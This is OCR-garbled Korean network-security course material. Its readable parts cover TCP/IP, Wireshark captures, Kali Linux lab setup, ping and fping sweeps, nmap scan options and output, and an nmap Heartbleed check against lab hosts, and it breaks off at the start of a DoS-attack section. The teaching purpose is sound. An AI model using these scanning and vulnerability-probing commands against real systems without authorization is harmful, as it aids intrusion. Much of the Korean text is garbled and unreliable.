ARP 98 ANt S MAS FaUH EH Client ZFHQL 2t2E R10lE M2 MAC F27t &
£ 22 H R10|M =i} BH Chgat ZCh
= 2k2E R19 ARP 0|5

» Client Z1ZE{9] ARP H|o|&

Terminal - sunrin@client: -

File' Edit View Terminal Tabs Help

HWtype Hwaddress Flags Mask

ether cB:01:37:08:00:08 C

m OS| 745 % TCP/IP +&
oSl 7A4= TCP/IP
oQm 2H =
HTTP, SMTP, SNMP, FTP, SSH, NFS .. SEZZ0H AS og maaw DNS, TFTP, TLS/SSL, FTP, HTTP, IMAP,
XDR, ASN.1, SMB, AFP #H A5 °° = = | IRC, NNTP, POP3, SMTP, SNMP, SSH, &
= © Gl i
TLS, SSL, X.225, RPC, NetBIOS, OiZE3 MM AE A, RTP, PNRP, rlogin, ENRP ..
TCP, UDP, RTP, SCTP, SPX, Ol2E3 HE A HE AT TCP, UDP, DCCP, SCTP, IL, RUDP ..
IP, ICMP, IGMP, ARP, RARP, BGP, OSPF, RIP HEQA A= QIR Yl AE IP (IPv4, IPv6)
O|E4l, PPP, HDLC, =& Eeflo], ATM, M2, FDDI | CIOIH A3 AE HESA olgyl, wi-Fi, E22, pPPP, SLIP, FDDI,
MM, Mo, 2MS DsU, csu, BE 22| A& OIEHO|A AZ | ATM, =3 o] &




[16] 2AOIHAFRE OI8E WA =24A
2 e

3. IP, TCP, HTTP I3l &AM
Z0ls SMAtLE MR IPFEATF ZRE(Of AUCL IPFLAE HEHIONM 24 2ES FE5H7| A FEX0[H, HEAI(AEY)
ASHM FHXIE Hop7t7| 2l 2eEel 7|2 YEZ AZEL.

ol EMoM AT TZI2 Client(192.168.1.10)2F xyz.com(125.241.100.10)0] 1 gh= T{ZI0|ICt O] WAUES Edf IPFLAO| AL,
TCP ¢ 4%, HTTP ZE2EEZC| 3% A S0 s =ele £+ AUtk
Client(192.168.1.10)7} xyz.com(125.241.100.10)0] &EZILHME S YEUE W, HTTP WAUS F1 = WHF2 S 2L
O ClientE xyzcomt 3-Way Handshake 1tHS Edff

= o
zg gy

O 9Z 48 =, Client= xyzcomO|A GET HASZ HT

F ]
= P 28g Mt
Client © xyzcom ClientOl|7| index.htmlE T &Sttt
olet 2 HEE &8¢l & EFHeE ME mz2lE F1
A [0, XtMeh 0PE2 of2fe| to|ojAFRE S
Mo ojzlg 20 Zolg 5= ULt
DNS S8/8E g2 destict
,ﬂ * [R1 FastEthernetd/0 to SW1T 8] — O *
File Edit “iew Go Capture Analyze Statistics Telephony Wireless Tools  Help
Bde MREQe=>=T oS Eaqan
[ [tepl %] «| Expression--  +
Mo, Source Destination Protocol  Length  Info
ere T 192.168.1.18 125,241 48896 TCP 7468890 = 80 [SYN] Seq=8 Win=29200 Len=0 MS
D 677 125.241.1686.16 192.168.1.18 TCP 74 BB -+ 68898 [SYN, ACK] Seq=0 Ack=1 Win=651
i 678 192.168.1.18 125.241.108.18 TCP 6660890 > 80 [ACK] Seq=1 Ack=1 Win=29312 ile
S e SR e F R A
E ::::@9::::::::::1%?!::2:4:%:‘:%@@:5%@:::::::::::1??—’:::4:5???:.1:::19::::::::::.15'5::?::::::::::::ﬁ@::@::ﬁ::@?gﬁ:iﬂﬁ.ﬂ:::‘?_fﬁzzz?:::@'f!?:::‘@ﬁ::ﬂ?.ﬁ:::ﬁﬁ?zs
|| BBl 125.241.166.186 192.168.1.:18 HTTP 578 HTTP/1.1 208 OK (text/html)
HooB82.........-192.168.1,10 - 125.:241:100.18- ... TCP----..... 66.60890. . 80.. [ACK] - Seq~436. Ack=513. Win=3033
il 780 192.168.1.10 125.241.100.1@  TCP 66 60890 —~ 80 [FIN, ACK] Seq-436 Ack-513 Win
@li 781 125.241.160.10 192.168.1.18 TCP 66 80 + 68898 [FIN, ACK] Seq=513 Ack=436 Win
3 782 192.168.1.16 125.241.100.16 TCP 66 68890 = 80 [ACK] Seq=437 Ack=514 'I.'!in=3a:33
i 783 ..125.241.109.18. ... 192.488:1.14........ TCP...........06.80 + 608890 [ACK] .Seg=514 Ack=437 Win=6476
< >
Frame 676: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface B o
< >
c@ @l 37 65 6@ 60 B8 e 27 d3 8 78 @8 60 45 ee 7 feex--E- A
B8 3c 42 54 46 60 40 66 54 ba c@ a8 81 Ba 7d fl <BT@-@- T T v
() 7  wireshark_~_20200229212149_a 11168, pcapng | Packets: 17044 - Displawed: 11 (0,1%) || Prafila: Detault
@29 Y2 Client(192.168.1.10)2t xyz.com(125.241.100.10)0| 3-Way Handshaking2 Sl HZ2 HEst= 1PJ0|Ct 3-Way Handsha

o
—
kingg 3 FZ2= J8sts 182 =1t ZCh

Client Xyz.com 150 ST SE0|UEE EET} closed JENOIN, MH = ST ZEZ oHef MH|A
SYN(Seq=0) £ H3g = U= listen HEJO|CT

__________________ - S S20|AETL LIS StA; SH, Yolo| ZE HD(60890)S SZI0[AE Z=H

- of 2Esty, SE0|AUEE= O] ZE HH(60890)F Ztot SYNS AfH{O|AH H&TtCt,

e MH= Z22I0|HEQ| SYN 28 E 21 SYN Received MEN7} E|1, E2I0|HE0
A £ S|83tote 2|0/ SYN+ACK TI{ZES HWLC}

SCHO[AEE AZRFO Cieh MHe SES FUC=E 202 ACK THAUS M

?|9| 3-Way Handshaking IF82 &3l Client(192.168.1.10)2 xyz.com(125.241.100.10)2| HFZ0| EEY Ya4Ho=z IS Fa3
T As HENZF =IRALE




[16] 2AO0IIAIZE ol&8 M 24 [101]
eSS BERED

=

@2
C

Pe2 92 M F Client(192.168.1.10)7t xyz.com(125.241.100.10)0| Al HTTP @& & st= 1PO|Ct SiTF THZITH AAS| =2CtHH
It ZH0| HTTP Request ¥ S ELU& AS =olg = ALt
B IAE HMS 27] siM= AO[ojAFRoM SiE IS HES2SHH ECh

[

dlo

dm

M Wireshark - Packet 679 - - — O 4

~ Hypertext Transfer Protocol -
GET / HTTP/1.1\r\n
Host: winw.xyz.comyryn
User-Agent: Mozilla/5.8 (X11; Ubuntu; Linux x86_64; rv:64.8) Gecko/28188181 Firefox/E
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;g=0.8\r\n
Accept-Language: en-US,en;g=8.5\r\n
Accept-Encoding: gzip, deflatel\ri\n
Connection: keep-alivel\ri\n
Upgrade-Insecure-Requests: 1yr\n
If-Modified-Since: Thu, B89 Jan 208208 87:18:57 GMT\rin
If-None-Match: "76-59bafd2880180-gzip"\r\n
Cache-Control: max-age=08%\r\n
\rin
Full request URI: http://www.xyz.com/] “

®2| 12 xyz.com(125.241.100.10)0| Client(192.168.1.10)0f| A HTTP YAIS 2 text/html HIO|EE H&ste 1PF0|Ct THZIC| MM &
HO|A [Line-based text data] @22 EH indexhtml?| ot LS =QlE 4= ULt
M Wireshark - Packet 621 - - — O X
[Request URI: http://www.xyz.com/] ~
Content-encoded entity body (gzip): 115 bytes -» 129 bytes
File Data: 129 bytes
v Line-based text data: text/html (6 lines)
<html>\n
\t<heads><titlesww. xyz.com</titles></head>\n
\t<body>hostname : www.xyz.com<br><br>\n
AENTIP ¢ 125.241.1688.18<br>\n
\t</body>\n
</htmlx\n
L
< >
]

@2 182 LS 2F MEY xyzcom(125.241.100.10)2] LHO| 25l Client(192.168.1.10)2t HZS sixst= ntHO|Ct
O|MZ HTTP Z2EZ2 SZt0|AEQ| HTTP Q80| odf East mdg MY 2ol= My ZojM 32 iHME 2Fstn, S2t0|
AEMHB 2 HZA X, MH-Z20|HES| HZA SHHE Sof JEE FEES ZF SHETHcL

1




[17] Kali Linux 20 & &X [102]
deleliHu nsstn 225

-
~

Kali Linux 27 S AX| KALI
Kali Linuxe ME EHQMZ2 HAEST| 3t QEAA Bl5A H|EIOl U4 E 28 (Backtrack)Q| FLHHTO|C} i

2 ciZat e =7t HYMES ZEstn QUCh Wi Offensive Security?t RA| &2|ste @E A4 ZZHEO|CH F4| AIOIEE

So) M2e Y 9 HE 2N 52 HS we
= Kali Linux SHO|X| : https://www.kali.org/
m Kali Linux Virtual Images Download : https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/

e s
= = 8Y OFFENSIVE SECURITY

+
30
_|T|_

1. Kali Linux CH22E 3! 4%
7. Kali Linux Virtual Image CI2EE

Kali Linuxe HAX|& 1SO ot2dS NI3g =0t OtL|2} VirtualBox, VMWare Imgae LtYUE ol
Kali Linux Virtual Images Download AtO|EO]| siZh 7F&4 A0 SH= Image LY 2 &&= Z0| HE|stC}

CERTIFICATIONS LABS SERVICES FOR ORGS OFFSEC? INFOSEC TOOLS

Jl OFFEHS|“E COURSES AND PENTEST TRAINING WHY KALI AND

KALI LINUX VMWARE IMAGES

KALI LINUX VIRTUALBOX IMAGES

Image Name Torrent Version Size SHA2565um

L S 3 " 2.8G 192008667cT8838602daTa78692321bdb42cB6275e2511645315eabc1d6case
Kali Linux VirtualBox 32-Bit  Torrent  2020.1

KiE = 2 3.1G 1f1f480c18385c8hb725167a706038331118a29009557689780a45a7e22880a
Kali Linux VirtualBox 64-Bit  Torrent  2020.1

+ KALI LINUX HYPER-V IMAGE

L}, Kali Linux 7t 27|
CH2EESH Kali Linux Image ItYE VirtualBox2| [7t& A|A” 7k R27(1E &3l Kali Linux 7t AS MM [7H4 AIAE I
711 [I +=Y&H|] - [02 Virtualbox &% S MH9| 8% g & Istict
? X

7re AlSE THHR7]

EE a3

Local File Systern - A‘

}»Ifvbuxfamdﬁdfwaw‘kahf\mufoUZU‘Wbuwamdﬁ&wa\ a Kali W SIZEg0 SojEs Th 7 b4
Kali Linux

hitps/unckaliong/ | IHAE A “Kali-Linux-2020, 1-vbox-amd64"S(S) AHSal
o 5 o0k 5

Offensive Security HW OHHel 0|8 A Egh S2lel0F =LILE

hitps:/iwwwoffensive-s  FOIBHICE RS 520 H < TG0, S2USH SSLICHES

Rolling (2oz0 1y x62 | = TEH HH2A FELICK

Kali Rolling t2020.1) x§ | GPL v3 ~ hitps:/ www, kali,org/docs/policy kali-linus-open-
Bl 7i== 22 A =5 {8 Debian (64-bity source-policy/
@ o 5 § THd NAZE A= = importing appliance 'D#My DatswCh = Swkali-linux-2020-1-vbox.
0
f BAM 2048 MB Importing virtual disk image ‘Kali-Linuz-2020, 1-vbox-amd6d-diskD0l, vndk” ., (2/3)
©ow L i % X
(7 use HEEH L EITRu=
ifn n2C A ICH ACST
& ERuL 1 Intel PRO/1000 MT
Machine Base Folder: DitMs¥YinualBox WMs

MAC = HA(P) BE HEHI HHE MAC 1
IR N R SorELItRe] (S5 waLIchD)| | ., | | mEe. |

724 [/ VDIR 5HE ERI0|IE I 22

GHIE BE(G) (21Ezt =8 | JERED F

Kali Linux2E 7t 2= IPH0|AM ZHaF A|AEIS| 0|22 Kali-Linux-2020.1-vbox-amd64E Kali2 A HASIACE E3t MAC Fo HHL
[ZE HERI H¥H MAC =4 ZBS MEiSACt

L HEO| AMBStE &2 nHEQl WS AR8SICH O] 2 Kali LinuxZt OFL|EHEHE Ubuntu, CentOS 2| 2lSA0| HX|siA At
5 UCh HEO FE AMESte &2 Cha3h 2O

=

- hping3, fping, nmap, dsniff(arpspoof), bonesi =




[17] Kali Linux 24

HEIHUWNSE W FEESH
2. HES3 EEE2X|0f Kali Linux F7}
» YEY3 PHE
50/0 14.58.90.5/30
s0/1 1458.90.9/30
enp0s3 1927168 1.10/24 | | f20/0 192.168.1.254/24 50/0 1458906730 enpl0s3 125.2541.100.10/24
enp0ss NAT fa0/1 210100100 254/24 1a0/0 125241.100.254/24 enplsg NAT
T4
Client KYZ.COm
DMS
\
‘ ethl 1921681 09/24 | enpls3 210.100.100.10/24 50,0 14.58.90.10/30 enpls3 8.8.8.85/24
enp0s8 NAT 1a0/0 B.8.8.254/24 enpls8 NAT
XY | ZE IPF4 H[D xy [ ZE IPFA B[ D
s0/0 | 14.58.90.5/30 Client | enpOs3 | 192.168.1.10/24 SZH0|E
R1 s0/1 | 14.58.90.9/30 Kali eth0 | 192.168.1.99/24 34&
faO/1 | 192.168.1.254/24 DNS enp0s3 | 8.8.8.88/24 DNS AfH{
R> s0/0 | 14.58.90.6/30 xyz.com | enp0s3 | 125.241.100.10/24 CHEZ= AH
fa0/0 | 125.241.100.254/24
/ / HE|Xt AE HE : root / sunrin
Ry | S0/0 | 14389010730 * s0/0 = Serial0/0  %fa0/0 = fastethernet0/0
S = Seria a = fastetherne
fa0/0 | 8.8.8.254/24
3. Kali Linux 29 MZA &4
Kali Linuxe E& 3, FA4™ 24, 2L XL, AL E/AZY, ZHA § Cpeh 2ot FF =75 H RS0 340 A8 =+
A= STHX| Zesta ot HHO| 7|Hte| =Het Gul 7|Ete] =& RE HAstN ol AR M= 7|25l S0 ALTiTY.
Fkali LinwOls ALE, A28, 24 YEAS 37, HAYE BHo| stset S& Zeteof o2, ofafst 3% =osof et Fof
P7F HASICE QF A[AHE AO|EO CiSt HIAEE SHO|EZE BIEA ME8 HESRT EEZX|MT HE St=F SiCh :
(A2 E3 ZZHo| M3 ojRECts ZZ0| O|R0{X|= OIS AlARIC| Sxt 2|, ZREZO| MA Y3 52 J|HeE o|ssted !
H ;uxa-H:I. H
r\B2S . .

1 - Oracle WM VirtuzlBox
A

=

g =

\ Kali Lin
& Kali Do
Kali Bu
Offensi
Exploit

\ff‘ VulnHu

eering Tools

ec Links

is Edit View Help
2 $ ip address show
IPBACK,UP, LOWER_UP> mtu 65536 gdisc nogueue sta
n 1000

opback @20:00:00:00:00:00 brd 00:00:00:00:00:00
7.0.0.1/8 scope host lo

d_1ft forever preferred_1ft forever

:1/128 scope host

d_1ft forever preferred_1ft forever

ROADCAST ,MULTICAST,UP, LOWER_UP> mtu 1500 gdisc
efault glen 1000

her 08:00:27:1f:30:76 brd ff:ff:ff:ff:ff:ff
2.168.1.99/24 brd 192.168.1.255 scope global n
d_1ft forever preferred_1ft forever

€80 ::a00:27ff:felf:3076/64 scope link noprefix
d_1ft forever preferred_1ft forever

$ ping 192.168.1.254

8.1.254 (192.168.1.254) 56(84) bytes of data.
om 192.168.1.254: icmp_seg=1 tt1=255 time=2.42
om 192.168.1.254: icmp_seg=2 ttl=255 time=7.94
om 192.168.1.254: icmp_seg=3 ttl=255 time=5.01

s
gs

ve Security Training
Database

b

s

te UNKMNOWM group

pfifo_fast state

oprefixroute eth@

route

ms
ms
ms

=& SlE E it
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HRIQHY DNSS D BEL8S5

[y aAllS

S

Information Gathering L é“f}
0 SSI
. SRR
s ‘zsﬁ-'ea
A7t sHZS Al=str| ©of sfof st T4 HYS sfY Chetoll Chet MEE £Hsts Yolnh +Tsts Fro| 6 L e
U]
Hel= IPFL, 2MH BF 29 S MU, s ZE § 7|&XQl Zoret JHAX el A, ARY A, »
HEYA e 5§ AMzSeEQl ZOoptX| QST O|HA CHYO| i3t EE +Tste HQE =Y Ee= 2 “’g* 5.%35':.:
~—
sHgolatn sk, =g
o & ATOIM = XHAO] HEs= AlAH I HEQIAO Cish Zx2ld £= AWdS S Ffe 220 =Xl sk, H

=
At 21UE S5} oo Stot

1. pingS 0|88 AN

kaligkali:~% ping 192.168.1.254

PING 192.168.1.254 (192.168.1.254) 56(84) bytes of data.

64 bytes from 192.168.1.254: icmp_seq=1 ttl=255 time=2.80 ms
64 bytes from 192.168.1.254: icmp_seq=2 ttl=255 time=1.20 ms
64 bytes from 192.168.1.254: icmp_seq=3 ttl=255 time=3.18 ms
64 bytes from 192.168.1.254: icmp_seq=4 ttl=255 time=6.09 ms
64 bytes from 192.168.1.254: icmp_seq=5 ttl=255 time=1.19 ms
64 bytes from 192.168.1.254: icmp_seq=6 ttl=255 time=6.14 ms
.I
o

ping2 WERIA A|AHO HYNMOE SASH=X| &olgt 4= e ZHEet REO|CE ping2 ICMPE AHESIH, ICMPE ARSI A|AH
o] M3t OJEE AotEE HH2 UHNMOZ Echo Request(Type 8)It Echo Reply(Type 0)2 O|83%t ZiO|Ct.

£ +- [R1 FastEthernet0/0 to SW1 8] — O *
File Edit View Go Capture Analyze Statistics  Telephony Wireless  Tools  Help
T ® RE QaeassE=EF o = aaaH
[ Jicmp ] ~| Expression-  +
Mo, Source Destination Protocol  Length Info
- 485 192.168.1.99 192.168.1.254 ICMP 98 Echo (ping) reguest 1id=BxB8af7, seg=1/2
[ 486 192.168.1.254 192.168.1.599 ICHMP 98 Echo (ping) reply id=8x@af7, seqg=1/2
| 487 192 _168.1.99 197 1RR.1.254 TCMP 98 Echo (ping) reguest id=8x8af7. sea=2/5Y
< >
Internet Protocol Version 4, Src: 192.168.1.99, Dst: 192.168.1.254 "

v Internet Control Message Protocol

Checksum: Bxe317 [correct]

[Checksum Status: Good]

Identifier (BE): 2887 (0xBaf7)

Identifier (LE): 63242 (@xf78a)

Sequence number (BE): 1 (@xB8e@l)

Sequence number (LE): 256 (8x8108)

Response frame: 486]

Timestamp from icmp data: Mar 1, 2820 08:22:43.000000000 CHEIRIZ HEZA|
.....LTimestamp from icmp data (relative): .56936700@ seconds]
iv Data (48 bytes) :
: Data: 9fccOcoBoBeBeeeel181112131415161718191alblcldlelf.. :

[Length: 48] ; i

-
ki

¥ wireshark_-_20200301082235 a1 7004, pcapng Packets: 16RB - Displayed: 16 (1.03) || Profile: Default
ping ¥C2 &L= HO|HE 20|0{ARE SoliM &2l EH, ping request@t ping reply?t BtEE|l= ZH{E =olgt 4= QUCt EDH
ping HIOIHE &41%t= 2FMHMYZ TTLELO| CHECE

0|2{dt pingS O|8sHA HIEHIM 2dotel Al2EE ot 5= UA=0, HELI WO ERZEIHAE pingS EU= YEHE 08

g o ACE O S 298 (sweeping)Ol2t BHLY.

Pt
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HElolIHYUnSEst d22S
2. fping2 0| 83l0] HEQI AT
fping2 HEXIQ| A|AH” EEZ &QI8tY| sl AMESICE -g M2 AFESIO WEYIE XFSHH A|AHS FE2 olg &= ULt
kaliakali:~$ fping -g -a -5 -g 192.168.1.08/24 = a7
5 = . - - =2 C
19%.168.1.18 q : ICMP Request, ReplyS = &l .
192.168.1.99 » s AZHO| BH T AME FelshM EOlELC
192.168.1.254 » g M3 E|0] Qe A|AHS HOFELC}
254 targets
3 alive
251 unreachable
@ unknown addresses
251 timeouts {waiting for response)
1007 ICMP Echos sent
3 ICMP Echo Replies received
880 other ICMP received
2. nmapE O0|8% A7{Y (http://www.nmap.org)
nmap(Network Mapper)2 HEI EMut HOLZALE @[3t LEAA TJ0|H ZAE HEQIAO Cfst AZHO| JtSSICE nmap2 HWE
AN HE 2 ZAE MHA =&, 2ANA TF, WA ZEL HtE0] HHE|0 UK S =g = JUCL 0| &8 ot
ZAL MH|A BLHE, HEQA AHY 55 22| 59| Chst 250 AH8™ 5= UCL
* nmap 7|& AMEH
kaliakali:~$% nmap -sT www.xyZ.com « State9| 9|0
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-29 19:26 EST ate= CTHEl EE L e AFEHOLS LEER
Nmap scan report for ww.xyz.com (125.241.100.10) - open : =tE EET} ||_sten OEHFE fE"_E'
Host is up (0.029s latency). - filtered : HatEO|L} TEO| 945 diYd ZES
Not shown: 997 filtered ports open, close 0|2 & & == 982 LIEtH
PORT  STATE SERVICE - closed : iEﬁ?_H% st A|™O= listen AEfTL
22;1:1:53 open 55? OflS L}IE}LH
23/tcp open telnet . - "
8@/’1‘.(3 ogen http - unfiltered : nmap2| =700 SE2 SHXIC S
) ZLEO| open, close §F= & £ Y52 LIEHY
Nmap done: 1 IP address {1 host up) scanned in 21.81 seconds
1ol A2 -sTEME 0|83t Open AME D, Ty A[ARO pFEA, BMotE IEHD MH[A S8 =l 4= QUCt 0] <
Ol = C}Zm} Z0| Ctsh A7 gAlN FMZ =HESH = QUL Ofgl= 28 M2 BAISH AO|BE nmap -hE SolilAl A 24 R
=g -0 CHet =helo] Eashot
= nmap £ A @A
-sT TCP connect() &2 EZEE AN E4 EET} Listening HEfQIX|E =HOIStCt,
TCP SYN A7 EE half open A7H0[2tD B2 WAloZ SYN IjZIE 2L SYN/ACK I{ZA0| @M Listen MEfAS
-sS oISt RST IfZI0| @M Listening &E{7F OtEH S =Qlst= HHRO|CE O] HHAI2 TCP T£0| 2tFSHH O|FOX|X|
7| W20 HCHE A|ARIO 271 HA| RS 7ts540| H AHA ZE AZHO|IZt O EHZP.
-sF, -sN, -sX ot o|Lt W2l ZHE S FIN THZI(-sF), NULL THZI(-sN), XMAS T{Z(-sX)S O| 8%t AHS 3 TiCt
-sP ping2Z ICMP S ELf AE 23t R E =B}
-sU UDP Izl 2 UDP EEE AZMSICE
A ACK azicz HatHo| HAUSHAH KCtst=X] 2eldsts WO E, ACK 2l 2L RSTHZIE oW g =EJ E
HE E|X| 2 MEf, ofF3 SEHO| god ZHAUE HEfE ZHOIBC}
-sV RLEL|Y Ues ZEQ| MHAYH Bl HHZ =it
= nmap F82 A7 M
-f A I @3S SotE &= UAZE WAS ZZLHCH
-v AZHO| MIE AFEE HA|BHCE
-PO SO M ICMP echo requestsS 3tOF £OHE AZHO| 7H58}A| $HCh
-PT ping?l tH82 = ICMP I{ZlE O|&StA| Y, TCP WAES 0|85t AMES FHTHCL
-PS ACK I§Zl CHA SYN IfZIE ELf CHA ZAEOM RST 8HE =elsiih
-PI ICMP echo requestE B ZAEQ} HEQT HEEIHWAE FAE =L}
-0 SAEQ| RYHK FE S &0l M AMESICL
-p SOISt X} St EZEQ| HRE K|t
-0 <filename> | A7H3H ZNtE OAE XNESICL
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HEQE YIS D BERS

5]

X half open scan 18 - Port Open

@ 34X A7 fa A|l2”-Oo 2 SYN Izl S

@ 27 O A"l ZETH F ASH SYNRACK ==Y, 34
e 270 O A|ARIOZ RST &4

= —

Scanner

=

Target

X half open scan I8 - Port Close
@ SAXI A7 e A|ABSE SYN I3l &4
@ A7 CHA A|ABIO| LETL Bt QO RSTRACK =41

AMN— =

Scanner

Target

= nmap2| AL O
@ TCP SYN A7H g

kaligkali:~% sudo nmap -s5 B.8.8.88

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-
Nmap scan report for 8.8.8.88

Host is up (@.14s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE

22/tcp open ssh

23/tcp open telnet

53/tcp open domain

B@/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 45.

® YEYA foio) cfs Az

kali@kali:~% sudo nmap -s55 125.241.100.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-902-
Nmap scan report for 125.241.100.10

Host is up (0.22s latency).

Not shown: 997 filtered ports

PORT STATE SERVICE

22/tcp open ssh

23/tcp open telnet

8@/tcp open http

Nmap scan report for 125.241.108.254
Host 1s up (0.812s latency).

Not shown: 999 closed ports

PORT STATE SERVICE

23/tcp open telnet

Nmap done: 256 IP addresses (2 hosts up) scanned ir
® 27 208 o2 HE

kaligkali:~$ nmap -sT www.xyz.com -o result.txt

@ QEE ZEE S H=29 HH =l

kaligkali:~% nmap -sV www.xyz.com

Starting Nmap 7.80 ( https://nmap.org } at 2020-02-
Nmap scan report for ww.xyz.com (125.241.100.10)
Host 1s up (0.024s latency).

Not shown: 997 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu®
ol 2.0)

23/tcp open telnet Linux telnetd

8@/tcp open http Apache httpd

Service Info: 05: Linux; CPE: cpe:/o:linux:linux_ki

Service detection performed. Please report any ince
//nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 25.:

@ ZEE 802 Yt Uiy HE]I AU

kaligkali:~% nmap -sP -PT8@ 125.241.100.8/24
Starting Nmap 7.80 { https://nmap.org ) at 2020-02-
Nmap scan report for 125.241.100.19

Host 1s up (@.869s latency).

Nmap scan report for 125.241.100.254

Host is up (@.019s latency).

Mmap done: 256 IP addresses (2 hosts up) scanned i

Starting Nmap 7.80 ( https://nmap.org } at 2020-02-29 20:1@ EST

Nmap scan report for www.xyz.com (125.241.100.10)
Host 1s up (9.027s latency).
Not shown: 997 filtered ports

PORT STATE
22/tcp open
23/tcp open
8@/tcp open

Nmap done: 1
kaligkali:~$%
=TW=r—=r—= 1

SERVICE
ssh
telnet
http

IP address (1 host up) scanned in 26.92 seconds
1s -1 result.txt
kali kali 37@ Feb 29 20:10 result.txt
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el nSstn dE22SH)

0| 8%t HERA HAHE HA
ZE AXZ 0|83l HERI FHAE2 HAY = AULCE nmap 23 HE AT /usr/share/nmap/scriptsOil A &+QIE 4=
ACE XpMITH AFE R https://nmap.org/book/nse.html, https://nmap.org/nsedoc/= &Zg £ QUCt

kaliakali:/usr/share/nmap/scripts$ 1s

acarsd-info.nse http-hp-ilo-info.nse nping-brute.nse
address-info.nse http-huawei-hg5xx-vuln.nse nrpe-enum.nse
afp-brute.nse http-icloud-findmyiphone.nse ntp-info.nse

afp-ls.nse http-icloud-sendmsg.nse ntp-monlist.nse
afp-path-vuln.nse http-iis-short-name-brute.nse omp2-brute.nse
afp-serverinfo.nse http-i1i1s-webdav-vuln.nse ompZ-enum-targets.nse
afp-showmount.nse http-internal-ip-disclosure.nse omron-info.nse
ajp-auth.nse http-joomla-brute.nse openlookup-info.nse
ajp-brute.nse http-jsonp-detection.nse openvas-otp-brute.nse
ajp-headers.nse http-litespeed-sourcecode-download.nse openwebnet-discovery.nse
ajp-methods.nse http-ls.nse oracle-brute.nse
ajp-reguest.nse http-majordomo2-dir-traversal.nse oracle-brute-stealth.nse
allseeingeye-info.nse http-malware-host.nse oracle-enum-users.nse
amgp-info.nse http-mcmp.nse oracle-sid-brute.nse
asn-guery.nse http-methods.nse oracle-tns-version.nse
auth-owners.nse http-method-tamper.nse ovs-agent-version.nse

nmapOiA& A3ZE ATIZ 0|80 sSLo| FHA™ F BILIQl heartblead= CH2 Db ZH0| A3ZE AZTIE 0|8310 HAT £ ULt
heartblead= 2014 'ﬂ 4E0f 45._| QE AA AT 2H0[E 2|9 OpenSSLe| AT EQ|0] H{0|M, OpenSSL 1.0.1g ot¢l HHOA O]
Z7oz 749l 7l L MM T7| L YSE BE 4 Y HUHO| wHE AL

kali@kali:~$% nmap -p 443 ——script ssl-heartbleed www.abc.com

Starting Nmap 7.8@ { https://nmap.org )} at 2020-02-29 23:18 EST

Nmap scan report for ww.abc.com (210.100.100.10)

Host is up (0.820s latency).

PORT STATE SERVICE
443/tcp open https

Nmap done: 1 IP address {1 host up) scanned in 1.15 seconds
nmap2 O|8% HZA Zit ™St HP 443/tcp filtered https2 ZDt7h LIELLIEH, FYE Z2 ofziet #0| EE ZEQ

ssl-heartbleed: VULNERABLE: O|2t= MA|X|7F S& EICt nmap --script ssl-heartbleed 125.241.100.0/242| WA|o2 Ci4=0| MO CHE
HUE 7t

A FHUH o2 QS HAMHIF XS HAE MY MEIE =0T TR QUCH nmap nsell http-methods 2ATEE 0|3
oY MHo Mk 27 JEE HAUSAL.

kaligkali:~$ nmap —script http-methods —script-args http-methon.test-all="/www.abc.com' www.abc.com
Starting Nmap 7.80 ( https://nmap.org )} at 2020-02-29 23:2@ EST
Mmap scan report for www.abc.com (210.100.100.18)
Host is up (@.17s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
88/tcp open http

http-methods:

_ Supported Methods: GET HEAD POST OPTIONS
11e/tcp open pop3
143/tcp open imap
443/tcp open https

http-methods:

Supported Methods: GET HEAD

587/tcp open submission
993/tcp open imaps
995/tcp open pop3s

Mmap done: 1 IP address (1 host up) scanned in 17.45 seconds
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1
HRIQE Y DSSD BEESD)

(A=) ALLSH

n DoS Attack

DoS(Deny of Service, AH|A A
X 2stA st S40|ot

32 AAHS doMoz BH T ALHO XAS SO s Y o=E == A8

Bl

EXM MHOH £He Hs AZES HE0] CHE O|8XI7F MAMMOZ MH|A 0|22 31X RlH 7L, M2l TCP ¥ZAS HIEL=
9| 340| o] "#elo| =etEICE =t F7|, BY2 Y £ UX|T HE QEU AO|E Ees MH|A9| 7|58 AIH E&s BI(ste
B 93| s ST Zefoict

o] Y ABME HEYI EEZX| 0| ZE www.abc.com, www.xyzcomd| CHSH DoS Attack® S8l Doso| /2| U &7 Az mtet 5
= S0

s0/0 14.58.90.5/30
s0/1 14.58.90.9/30

enp0s3 192.168110/24 fa0/0 162.168.1.254/24 50,0 1458.90.6/30 enp0s3 125.2541.100.10/24
enp0s8 NAT f20/1 210.100.100.254/24 20/0 125.241.100.254/24 enp0s3 NAT
: | =
Client SV R1 R2 w2 AVZ.COm
DMS

I

S W,
enpls3 88.8.88/24
enplsd NAT

enplsg@ NAT fal/0 88825424

ethD 192.168.1.99/24 I‘ enp0s3 210.300.100.10/24 ‘ sC/0 14.58.90.10/30

1. abc.com ZLET
A4S Mty Mo HAAQ abccom EE xyzcomQ| HEHE =0l

- QLO|OJAFRE 0|83 HERIZ 2t Izl AN 2 =0l

- abc.com, xyzcom?| 2&& 0|8% ZLHEY

- abc.com, xyzcom?| netdata 2= 0|83 ZL|E A (iRedMail HAA| BH HX|ZO ) - https://mail.abc.com/netdata/
71 20|0{AFRE o8¢t mLIEY U # MH SE

rot
inl
finl
mjo
0z
rx
mjo
opm
o
>
[>
oo
mjo
o
i
m
o
mot
4>
30
iul

A 2l
2t2H R1FE abccomtX[Q] #7HE0|A FIAE MEHSIO O|OJAIAE ZELHE o0k EH &=0|A ICMP, TCP & €= = [Apply]
£ 2250} =HE I3l oM T AT T SI0] =Helstct
£ *- [SW4 1 to abc.com Ethernet0] — O *
File Edit “iew Go Capture Analyze Statistics Telephony Wireless Tools  Help
B @ e Q&= &4 == Qa8

[ |icmp 3 « | Expression-  +

Nu:u. Source Destination Protocol  Length Info

< >
(7 wireshark_-_20200301173617_219384. pcapng Packets: 7729 - Displayed: 0 (0,0%) || Profile: Default

Lt 2& 0|8t HLEY

